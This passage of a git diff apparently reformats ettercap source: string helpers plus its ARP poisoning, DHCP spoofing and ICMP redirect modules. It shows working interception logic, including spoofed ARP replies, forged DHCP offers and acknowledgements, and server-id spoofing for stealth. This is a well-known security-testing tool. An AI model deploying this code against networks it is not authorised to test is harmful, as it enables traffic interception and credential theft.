strlcpy(char *, const char *, size_t); * Returns strlen(src); if retval >= siz, truncation occurred. */ size_t strlcpy(dst, src, siz) - char *dst; - const char *src; - size_t siz; +char *dst; +const char *src; +size_t siz; { - register char *d = dst; - register const char *s = src; - register size_t n = siz; + register char *d = dst; + register const char *s = src; + register size_t n = siz; - if (n == 0) - return(strlen(s)); - while (*s != '\0') { - if (n != 1) { - *d++ = *s; - n--; - } - s++; - } - *d = '\0'; + if (n == 0) + return strlen(s); + while (*s != '\0') { + if (n != 1) { + *d++ = *s; + n--; + } + s++; + } + *d = '\0'; - return(s - src); /* count does not include NUL */ + return s - src; /* count does not include NUL */ } diff --git a/src/missing/strndup.c b/src/missing/strndup.c index e71ff75ec..bd00c2b81 100644 --- a/src/missing/strndup.c +++ b/src/missing/strndup.c @@ -1,38 +1,37 @@ /* Implement the strndup function. - Copyright (C) 2005 Free Software Foundation, Inc. - Written by Kaveh R. Ghazi . - -This file is part of the libiberty library. -Libiberty is free software; you can redistribute it and/or -modify it under the terms of the GNU Library General Public -License as published by the Free Software Foundation; either -version 2 of the License, or (at your option) any later version. - -Libiberty is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Library General Public License for more details. - -You should have received a copy of the GNU Library General Public -License along with libiberty; see the file COPYING.LIB. If -not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, -Boston, MA 02110-1301, USA. */ + * Copyright (C) 2005 Free Software Foundation, Inc. + * Written by Kaveh R. Ghazi . + * + * This file is part of the libiberty library. + * Libiberty is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * Libiberty is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with libiberty; see the file COPYING.LIB. If + * not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, + * Boston, MA 02110-1301, USA. */ #include -char * -strndup (const char *s, size_t n) +char *strndup(const char *s, size_t n) { - char *result; - size_t len = strlen (s); + char *result; + size_t len = strlen(s); - if (n < len) - len = n; + if (n < len) + len = n; - result = (char *) malloc (len + 1); - if (!result) - return 0; + result = (char *)malloc(len + 1); + if (!result) + return 0; - result[len] = '\0'; - return (char *) memcpy (result, s, len); + result[len] = '\0'; + return (char *)memcpy(result, s, len); } diff --git a/src/missing/strsep.c b/src/missing/strsep.c index 3bab61392..cad776f35 100644 --- a/src/missing/strsep.c +++ b/src/missing/strsep.c @@ -40,11 +40,11 @@ #include #endif -char * strsep(char **, const char *); +char *strsep(char **, const char *); /* * Get next token from string *stringp, where tokens are possibly-empty - * strings separated by characters from delim. + * strings separated by characters from delim. * * Writes NULs into the string at *stringp to end tokens. * delim need not remain constant from call to call. @@ -55,29 +55,29 @@ char * strsep(char **, const char *); */ char * strsep(stringp, delim) - register char **stringp; - register const char *delim; +register char **stringp; +register const char *delim; { - register char *s; - register const char *spanp; - register int c, sc; - char *tok; + register char *s; + register const char *spanp; + register int c, sc; + char *tok; - if ((s = *stringp) == NULL) - return (NULL); - for (tok = s;;) { - c = *s++; - spanp = delim; - do { - if ((sc = *spanp++) == c) { - if (c == 0) - s = NULL; - else - s[-1] = 0; - *stringp = s; - return (tok); - } - } while (sc != 0); - } - /* NOTREACHED */ + if ((s = *stringp) == NULL) + return NULL; + for (tok = s;;) { + c = *s++; + spanp = delim; + do { + if ((sc = *spanp++) == c) { + if (c == 0) + s = NULL; + else + s[-1] = 0; + *stringp = s; + return tok; + } + } while (sc != 0); + } + /* NOTREACHED */ } diff --git a/src/mitm/ec_arp_poisoning.c b/src/mitm/ec_arp_poisoning.c index 97d0a2c1d..cbb95040f 100644 --- a/src/mitm/ec_arp_poisoning.c +++ b/src/mitm/ec_arp_poisoning.c @@ -1,23 +1,23 @@ /* - ettercap -- ARP poisoning mitm module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- ARP poisoning mitm module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -29,7 +29,7 @@ /* globals */ -/* +/* * this are the two lists for poisoning. * each element in the each list is associated with all the element * in the other list. this is done in every case. @@ -67,11 +67,10 @@ void __init arp_poisoning_init(void) mm.name = "arp"; mm.start = &arp_poisoning_start; mm.stop = &arp_poisoning_stop; - + mitm_add(&mm); } - /* * init the ARP POISONING attack */ @@ -80,22 +79,22 @@ static int arp_poisoning_start(char *args) struct hosts_list *g, *tmp; int ret; char *p; - - poison_oneway = 0; - + + poison_oneway = 0; + DEBUG_MSG("arp_poisoning_start"); - + /* parse the args only if not empty */ if (strcmp(args, "")) { for (p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) { if (!strcasecmp(p, "remote")) { - /* - * allow sniffing of remote host even - * if the target is local (used for gw) - */ + /* + * allow sniffing of remote host even + * if the target is local (used for gw) + */ GBL_OPTIONS->remote = 1; } else if (!strcasecmp(p, "oneway")) { - poison_oneway = 1; + poison_oneway = 1; } else { SEMIFATAL_ERROR("ARP poisoning: parameter incorrect.\n"); } @@ -105,22 +104,22 @@ static int arp_poisoning_start(char *args) /* arp poisoning only on etherenet */ if (GBL_PCAP->dlt != IL_TYPE_ETH && GBL_PCAP->dlt != IL_TYPE_TR && GBL_PCAP->dlt != IL_TYPE_FDDI) SEMIFATAL_ERROR("ARP poisoning does not support this media.\n"); - + /* we need the host list */ if (LIST_EMPTY(&GBL_HOSTLIST)) SEMIFATAL_ERROR("ARP poisoning needs a non empty hosts list.\n"); - + /* wipe the previous lists */ LIST_FOREACH_SAFE(g, &arp_group_one, next, tmp) { LIST_REMOVE(g, next); SAFE_FREE(g); } - + LIST_FOREACH_SAFE(g, &arp_group_two, next, tmp) { LIST_REMOVE(g, next); SAFE_FREE(g); } - + /* create the list used later to poison the targets */ if (GBL_OPTIONS->silent && !GBL_OPTIONS->load_hosts) ret = create_silent_list(); @@ -139,7 +138,6 @@ static int arp_poisoning_start(char *args) return E_SUCCESS; } - /* * shut down the poisoning process */ @@ -149,9 +147,9 @@ static void arp_poisoning_stop(void) struct hosts_list *h; struct hosts_list *g1, *g2; pthread_t pid; - + DEBUG_MSG("arp_poisoning_stop"); - + /* destroy the poisoner thread */ pid = ec_thread_getpid("arp_poisoner"); @@ -163,16 +161,16 @@ static void arp_poisoning_stop(void) /* stop confirming ARP requests with poisoned answers */ hook_del(HOOK_PACKET_ARP_RQ, &arp_poisoning_confirm); - + USER_MSG("ARP poisoner deactivated.\n"); - + USER_MSG("RE-ARPing the victims...\n"); - + ui_msg_flush(2); /* rearp the victims 3 time*/ for (i = 0; i < 3; i++) { - + /* walk the lists and poison the victims */ LIST_FOREACH(g1, &arp_group_one, next) { LIST_FOREACH(g2, &arp_group_two, next) { @@ -185,36 +183,36 @@ static void arp_poisoning_stop(void) /* skip even equal mac address... */ if (!memcmp(g1->mac, g2->mac, MEDIA_ADDR_LEN)) continue; - + /* the effective poisoning packets */ if (GBL_CONF->arp_poison_reply) { - send_arp(ARPOP_REPLY, &g2->ip, g2->mac, &g1->ip, g1->mac); + send_arp(ARPOP_REPLY, &g2->ip, g2->mac, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) - send_arp(ARPOP_REPLY, &g1->ip, g1->mac, &g2->ip, g2->mac); + send_arp(ARPOP_REPLY, &g1->ip, g1->mac, &g2->ip, g2->mac); } if (GBL_CONF->arp_poison_request) { - send_arp(ARPOP_REQUEST, &g2->ip, g2->mac, &g1->ip, g1->mac); + send_arp(ARPOP_REQUEST, &g2->ip, g2->mac, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) - send_arp(ARPOP_REQUEST, &g1->ip, g1->mac, &g2->ip, g2->mac); + send_arp(ARPOP_REQUEST, &g1->ip, g1->mac, &g2->ip, g2->mac); } - + ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); } } - + /* sleep the correct delay, same as warm_up */ ec_usleep(SEC2MICRO(GBL_CONF->arp_poison_warm_up)); } - + /* delete the elements in the first list */ while (LIST_FIRST(&arp_group_one) != NULL) { h = LIST_FIRST(&arp_group_one); LIST_REMOVE(h, next); SAFE_FREE(h); } - + /* delete the elements in the second list */ while (LIST_FIRST(&arp_group_two) != NULL) { h = LIST_FIRST(&arp_group_two); @@ -226,7 +224,6 @@ static void arp_poisoning_stop(void) GBL_OPTIONS->remote = 0; } - /* * the real ARP POISONER thread */ @@ -236,16 +233,16 @@ EC_THREAD_FUNC(arp_poisoner) struct hosts_list *g1, *g2; /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; /* init the thread and wait for start up */ ec_thread_init(); - + /* never ending loop */ LOOP { - + CANCELLATION_POINT(); - + /* walk the lists and poison the victims */ LIST_FOREACH(g1, &arp_group_one, next) { LIST_FOREACH(g2, &arp_group_two, next) { @@ -253,14 +250,14 @@ EC_THREAD_FUNC(arp_poisoner) /* equal ip must be skipped, you cant poison itself */ if (!ip_addr_cmp(&g1->ip, &g2->ip)) continue; - + if (!GBL_CONF->arp_poison_equal_mac) /* skip even equal mac address... */ if (!memcmp(g1->mac, g2->mac, MEDIA_ADDR_LEN)) continue; - - /* - * send the spoofed ICMP echo request + + /* + * send the spoofed ICMP echo request * to force the arp entry in the cache */ if (i == 1 && GBL_CONF->arp_poison_icmp) { @@ -269,31 +266,31 @@ EC_THREAD_FUNC(arp_poisoner) if (!poison_oneway) send_L2_icmp_echo(ICMP_ECHO, &g1->ip, &g2->ip, g2->mac); } - + /* the effective poisoning packets */ if (GBL_CONF->arp_poison_reply) { - send_arp(ARPOP_REPLY, &g2->ip, GBL_IFACE->mac, &g1->ip, g1->mac); + send_arp(ARPOP_REPLY, &g2->ip, GBL_IFACE->mac, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) - send_arp(ARPOP_REPLY, &g1->ip, GBL_IFACE->mac, &g2->ip, g2->mac); + send_arp(ARPOP_REPLY, &g1->ip, GBL_IFACE->mac, &g2->ip, g2->mac); } /* request attack */ if (GBL_CONF->arp_poison_request) { - send_arp(ARPOP_REQUEST, &g2->ip, GBL_IFACE->mac, &g1->ip, g1->mac); + send_arp(ARPOP_REQUEST, &g2->ip, GBL_IFACE->mac, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) - send_arp(ARPOP_REQUEST, &g1->ip, GBL_IFACE->mac, &g2->ip, g2->mac); + send_arp(ARPOP_REQUEST, &g1->ip, GBL_IFACE->mac, &g2->ip, g2->mac); } - + ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); } } - + /* if smart poisoning is enabled only poison inital and then only on request */ if (GBL_CONF->arp_poison_smart && i < 3) - return NULL; + return NULL; - /* + /* * wait the correct delay: * for the first 5 time use the warm_up * then use normal delay @@ -305,10 +302,9 @@ EC_THREAD_FUNC(arp_poisoner) ec_usleep(SEC2MICRO(GBL_CONF->arp_poison_delay)); } } - - return NULL; -} + return NULL; +} /* * if a target wants to reconfirm the poisoned ARP information @@ -320,7 +316,7 @@ static void arp_poisoning_confirm(struct packet_object *po) char tmp[MAX_ASCII_ADDR_LEN]; /* ignore ARP requests origined by ourself */ - if (!memcmp(po->L2.src, GBL_IFACE->mac, MEDIA_ADDR_LEN)) + if (!memcmp(po->L2.src, GBL_IFACE->mac, MEDIA_ADDR_LEN)) return; DEBUG_MSG("arp_poisoning_confirm(%s)", ip_addr_ntoa(&po->L3.dst, tmp)); @@ -345,7 +341,7 @@ static void arp_poisoning_confirm(struct packet_object *po) LIST_FOREACH(g2, &arp_group_two, next) { if (!ip_addr_cmp(&po->L3.src, &g2->ip)) { /* confirm the sender with the poisoned ARP reply */ - send_arp(ARPOP_REPLY, &po->L3.dst, GBL_IFACE->mac, &po->L3.src, po->L2.src); + send_arp(ARPOP_REPLY, &po->L3.dst, GBL_IFACE->mac, &po->L3.src, po->L2.src); } } } @@ -353,12 +349,11 @@ static void arp_poisoning_confirm(struct packet_object *po) } } - /* * create the list of victims - * in silent mode only the first target is selected and you + * in silent mode only the first target is selected and you * have to specify the mac address if you have specified an - * ip address. you can also have an 'ANY' target and the + * ip address. you can also have an 'ANY' target and the * arp poisoning will be broadcasted. */ static int create_silent_list(void) @@ -367,33 +362,32 @@ static int create_silent_list(void) struct hosts_list *h, *g; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; - + DEBUG_MSG("create_silent_list"); - + /* allocate the struct */ SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); - + USER_MSG("\nARP poisoning victims:\n\n"); - + /* examine the first target */ if ((i = LIST_FIRST(&GBL_TARGET1->ips)) != NULL) { - + /* the the ip was specified, even the mac address must be specified */ - if (!memcmp(GBL_TARGET1->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN) ) { + if (!memcmp(GBL_TARGET1->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) { USER_MSG("\nERROR: MAC address must be specified in silent mode.\n"); return -E_FATAL; } - + USER_MSG(" TARGET 1 : %-15s %17s\n", ip_addr_ntoa(&i->ip, tmp), mac_addr_ntoa(GBL_TARGET1->mac, tmp2)); - + /* copy the information */ memcpy(&h->ip, &i->ip, sizeof(struct ip_addr)); memcpy(&h->mac, &GBL_TARGET1->mac, MEDIA_ADDR_LEN); - } else { USER_MSG(" TARGET 1 : %-15s FF:FF:FF:FF:FF:FF\n", "ANY"); - + /* set the broadcasts */ memcpy(&h->ip, &GBL_IFACE->network, sizeof(struct ip_addr)); /* XXX - IPv6 compatible */ @@ -403,24 +397,23 @@ static int create_silent_list(void) /* broadcast mac address */ memcpy(&h->mac, MEDIA_BROADCAST, MEDIA_ADDR_LEN); } - -/* examine the second target */ + +/* examine the second target */ if ((j = LIST_FIRST(&GBL_TARGET2->ips)) != NULL) { - + /* the the ip was specified, even the mac address must be specified */ - if (!memcmp(GBL_TARGET2->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN) ) { + if (!memcmp(GBL_TARGET2->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) { USER_MSG("\nERROR: MAC address must be specified in silent mode.\n"); return -E_FATAL; } USER_MSG(" TARGET 2 : %-15s %17s\n", ip_addr_ntoa(&j->ip, tmp), mac_addr_ntoa(GBL_TARGET2->mac, tmp2)); - + /* copy the information */ memcpy(&g->ip, &j->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &GBL_TARGET2->mac, MEDIA_ADDR_LEN); - } else { USER_MSG(" TARGET 2 : %-15s FF:FF:FF:FF:FF:FF\n", "ANY"); - + /* set the broadcasts */ memcpy(&g->ip, &GBL_IFACE->network, sizeof(struct ip_addr)); /* XXX - IPv6 compatible */ @@ -431,9 +424,10 @@ static int create_silent_list(void) memcpy(&g->mac, MEDIA_BROADCAST, MEDIA_ADDR_LEN); } - if (i == j || - ntohs(i->ip.addr_type) != AF_INET || - ntohs(j->ip.addr_type) != AF_INET) { + if (i == j || + ntohs(i->ip.addr_type) != AF_INET || + ntohs(j->ip.addr_type) != AF_INET) + { USER_MSG("\nERROR: Cannot ARP poison these targets...\n"); SAFE_FREE(h); SAFE_FREE(g); @@ -447,7 +441,6 @@ static int create_silent_list(void) return E_SUCCESS; } - /* * create the list of multiple victims. * the list is joined with the hosts list created with the @@ -462,9 +455,9 @@ static int create_list(void) char tmp2[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("create_list"); - + USER_MSG("\nARP poisoning victims:\n\n"); - + /* the first group */ LIST_FOREACH(i, &GBL_TARGET1->ips, next) { LIST_FOREACH(h, &GBL_HOSTLIST, next) { @@ -473,38 +466,38 @@ static int create_list(void) /* create the element and insert it in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); - + memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); - + LIST_INSERT_HEAD(&arp_group_one, g, next); } } } - + /* the target is NULL. convert to ANY (all the hosts) */ if (LIST_FIRST(&GBL_TARGET1->ips) == NULL) { USER_MSG(" GROUP 1 : ANY (all the hosts in the list)\n"); - - /* add them */ + + /* add them */ LIST_FOREACH(h, &GBL_HOSTLIST, next) { /* only IPv4 */ if (ntohs(h->ip.addr_type) != AF_INET) continue; - + /* create the element and insert it in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); - + LIST_INSERT_HEAD(&arp_group_one, g, next); } } USER_MSG("\n"); - + /* the second group */ /* if the target was specified */ @@ -512,43 +505,42 @@ static int create_list(void) LIST_FOREACH(h, &GBL_HOSTLIST, next) { if (!ip_addr_cmp(&i->ip, &h->ip)) { USER_MSG(" GROUP 2 : %s %s\n", ip_addr_ntoa(&h->ip, tmp), mac_addr_ntoa(h->mac, tmp2)); - + /* create the element and insert it in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); - + memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); - + LIST_INSERT_HEAD(&arp_group_two, g, next); } } } - + /* the target is NULL. convert to ANY (all the hosts) */ if (LIST_FIRST(&GBL_TARGET2->ips) == NULL) { USER_MSG(" GROUP 2 : ANY (all the hosts in the list)\n"); - - /* add them */ + + /* add them */ LIST_FOREACH(h, &GBL_HOSTLIST, next) { /* only IPv4 */ if (ntohs(h->ip.addr_type) != AF_INET) continue; - + /* create the element and insert it in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); - + LIST_INSERT_HEAD(&arp_group_two, g, next); } } - + return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/mitm/ec_dhcp_spoofing.c b/src/mitm/ec_dhcp_spoofing.c index 2b64486a5..2a6c7a7da 100644 --- a/src/mitm/ec_dhcp_spoofing.c +++ b/src/mitm/ec_dhcp_spoofing.c @@ -1,23 +1,23 @@ /* - ettercap -- DHCP spoofing mitm module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- DHCP spoofing mitm module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -48,10 +48,9 @@ static void dhcp_setup_options(void); static struct ip_addr *dhcp_addr_reply(struct ip_addr *radd); /* from dissectors/ec_dhcp.c */ -extern u_int8 * get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end); +extern u_int8 *get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end); extern void put_dhcp_option(u_int8 opt, u_int8 *value, u_int8 len, u_int8 **ptr); - /*******************************************/ /* @@ -66,11 +65,10 @@ void __init dhcp_spoofing_init(void) mm.name = "dhcp"; mm.start = &dhcp_spoofing_start; mm.stop = &dhcp_spoofing_stop; - + mitm_add(&mm); } - /* * init the ICMP REDIRECT attack */ @@ -78,7 +76,7 @@ static int dhcp_spoofing_start(char *args) { char *p; int i = 1; - + DEBUG_MSG("dhcp_spoofing_start"); if (!strcmp(args, "")) @@ -89,7 +87,7 @@ static int dhcp_spoofing_start(char *args) */ if (GBL_UI->type != UI_TEXT && !GBL_SNIFF->active) SEMIFATAL_ERROR("DHCP spoofing requires sniffing to be active.\n"); - + /* check the parameter: * * ip_pool/netmask/dns @@ -97,28 +95,28 @@ static int dhcp_spoofing_start(char *args) for (p = strsep(&args, "/"); p != NULL; p = strsep(&args, "/")) { /* first parameter (the ip_pool) */ if (i == 1) { - char tmp[strlen(p)+4]; + char tmp[strlen(p) + 4]; /* add the / to be able to use the target parsing function */ - snprintf(tmp, strlen(p)+4, "/%s//", p); + snprintf(tmp, strlen(p) + 4, "/%s//", p); if (compile_target(tmp, &dhcp_ip_pool) != E_SUCCESS) break; - - /* second parameter (the netmask) */ + + /* second parameter (the netmask) */ } else if (i == 2) { /* convert from string and get the netmask */ if (ip_addr_pton(p, &dhcp_netmask) != E_SUCCESS) break; - - /* third parameter (the dns server) */ + + /* third parameter (the dns server) */ } else if (i == 3) { char tmp[MAX_ASCII_ADDR_LEN]; /* convert from string and get the netmask */ if (ip_addr_pton(p, &dhcp_dns) != E_SUCCESS) break; - + /* all the parameters were parsed correctly... */ USER_MSG("DHCP spoofing: using specified ip_pool, netmask %s", ip_addr_ntoa(&dhcp_netmask, tmp)); USER_MSG(", dns %s\n", ip_addr_ntoa(&dhcp_dns, tmp)); @@ -132,7 +130,7 @@ static int dhcp_spoofing_start(char *args) dhcp_free_ip = LIST_FIRST(&dhcp_ip_pool.ips); return E_SUCCESS; } - + i++; } @@ -142,42 +140,38 @@ static int dhcp_spoofing_start(char *args) return -E_FATAL; } - /* * shut down the redirect process */ static void dhcp_spoofing_stop(void) { - + DEBUG_MSG("dhcp_spoofing_stop"); - + USER_MSG("DHCP spoofing stopped.\n"); - + /* remove the hookpoint */ hook_del(HOOK_PROTO_DHCP_REQUEST, dhcp_spoofing_req); hook_del(HOOK_PROTO_DHCP_DISCOVER, dhcp_spoofing_disc); - } - -/* +/* * Find the right address to reply */ static struct ip_addr *dhcp_addr_reply(struct ip_addr *radd) { static struct ip_addr broad_addr; u_int32 broad_int32 = 0xffffffff; - + ip_addr_init(&broad_addr, AF_INET, (u_char *)&broad_int32); - + /* check if the source is 0.0.0.0 */ - if ( ip_addr_is_zero(radd) ) + if (ip_addr_is_zero(radd)) return &broad_addr; - + return radd; } - /* * parses the request and send the spoofed reply */ @@ -188,7 +182,7 @@ static void dhcp_spoofing_req(struct packet_object *po) u_int8 *options, *opt, *end; struct ip_addr client, server; char tmp[MAX_ASCII_ADDR_LEN]; - + DEBUG_MSG("dhcp_spoofing_req"); /* get a local copy of the dhcp header */ @@ -203,7 +197,7 @@ static void dhcp_spoofing_req(struct packet_object *po) /* use the same dhcp header, but change the type of the message */ dhcp->dhcp_opcode = LIBNET_DHCP_REPLY; - /* + /* * if the client is requesting a particular IP address, * release it. so we don't mess the network too much... * only change the router ip ;) @@ -219,40 +213,39 @@ static void dhcp_spoofing_req(struct packet_object *po) } else return; } - + /* set the requested ip */ dhcp->dhcp_yip = *client.addr32; - + /* this is a dhcp ACK */ dhcp_options[2] = DHCP_ACK; - - /* + + /* * if it is a request after an offer from a server, * spoof its ip to be stealth. */ if ((opt = get_dhcp_option(DHCP_OPT_SRV_ADDR, options, end)) != NULL) { /* get the server id */ ip_addr_init(&server, AF_INET, opt + 1); - + /* set it in the header */ dhcp->dhcp_sip = *server.addr32; /* set it in the options */ - ip_addr_cpy((u_char*)dhcp_options + 5, &server); - - send_dhcp_reply(&server, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen); - + ip_addr_cpy((u_char *)dhcp_options + 5, &server); + + send_dhcp_reply(&server, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char *)dhcp_hdr, (u_char *)dhcp_options, dhcp_optlen); } else { - /* + /* * the request does not contain an identifier, * use our ip address */ dhcp->dhcp_sip = *GBL_IFACE->ip.addr32; - + /* set it in the options */ - ip_addr_cpy((u_char*)dhcp_options + 5, &GBL_IFACE->ip); - - send_dhcp_reply(&GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen); + ip_addr_cpy((u_char *)dhcp_options + 5, &GBL_IFACE->ip); + + send_dhcp_reply(&GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char *)dhcp_hdr, (u_char *)dhcp_options, dhcp_optlen); } USER_MSG("DHCP spoofing: fake ACK [%s] ", mac_addr_ntoa(po->L2.src, tmp)); @@ -273,7 +266,7 @@ static void dhcp_spoofing_disc(struct packet_object *po) /* no more ip available in the pool */ if (dhcp_free_ip == SLIST_END(&dhcp_ip_pool.ips)) return; - + /* get a local copy of the dhcp header */ memcpy(dhcp_hdr, po->DATA.data, LIBNET_DHCPV4_H); @@ -287,16 +280,16 @@ static void dhcp_spoofing_disc(struct packet_object *po) /* set the free ip from the pool */ dhcp->dhcp_yip = *dhcp_free_ip->ip.addr32; - + /* set it in the header */ dhcp->dhcp_sip = *GBL_IFACE->ip.addr32; /* set it in the options */ - ip_addr_cpy((u_char*)dhcp_options + 5, &GBL_IFACE->ip); - + ip_addr_cpy((u_char *)dhcp_options + 5, &GBL_IFACE->ip); + /* send the packet */ - send_dhcp_reply(&GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen); - + send_dhcp_reply(&GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char *)dhcp_hdr, (u_char *)dhcp_options, dhcp_optlen); + USER_MSG("DHCP spoofing: fake OFFER [%s] ", mac_addr_ntoa(po->L2.src, tmp)); USER_MSG("offering %s \n", ip_addr_ntoa(&dhcp_free_ip->ip, tmp)); @@ -311,7 +304,7 @@ static void dhcp_spoofing_disc(struct packet_object *po) static void dhcp_setup_options(void) { int time; - u_int8 *p = (u_int8*)dhcp_options; + u_int8 *p = (u_int8 *)dhcp_options; DEBUG_MSG("dhcp_setup_options"); @@ -347,8 +340,6 @@ static void dhcp_setup_options(void) } } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/mitm/ec_icmp_redirect.c b/src/mitm/ec_icmp_redirect.c index b3c23f4ee..056e635f1 100644 --- a/src/mitm/ec_icmp_redirect.c +++ b/src/mitm/ec_icmp_redirect.c @@ -1,23 +1,23 @@ /* - ettercap -- ICMP redirect mitm module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- ICMP redirect mitm module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -52,11 +52,10 @@ void __init icmp_redirect_init(void) mm.name = "icmp"; mm.start = &icmp_redirect_start; mm.stop = &icmp_redirect_stop; - + mitm_add(&mm); } - /* * init the ICMP REDIRECT attack */ @@ -64,18 +63,18 @@ static int icmp_redirect_start(char *args) { struct ip_list *i; char tmp[MAX_ASCII_ADDR_LEN]; - + DEBUG_MSG("icmp_redirect_start"); /* check the parameter */ if (!strcmp(args, "")) { SEMIFATAL_ERROR("ICMP redirect needs a parameter.\n"); } else { - char temp[strlen(args)+3]; + char temp[strlen(args) + 3]; /* add the / to be able to use the target parsing function */ - snprintf(temp, strlen(args)+3, "%s//", args); - + snprintf(temp, strlen(args) + 3, "%s//", args); + if 